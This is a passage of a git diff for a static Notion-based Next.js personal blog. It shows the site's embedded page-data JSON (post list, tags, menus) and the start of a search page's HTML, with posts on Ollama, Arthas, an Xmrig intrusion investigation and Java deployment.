+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/","query":{},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/search.html b/search.html
index 08818fe67..5af671318 100644
--- a/search.html
+++ b/search.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Search | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Search | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//search"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Search | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/search-005f77f243d63e6b.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 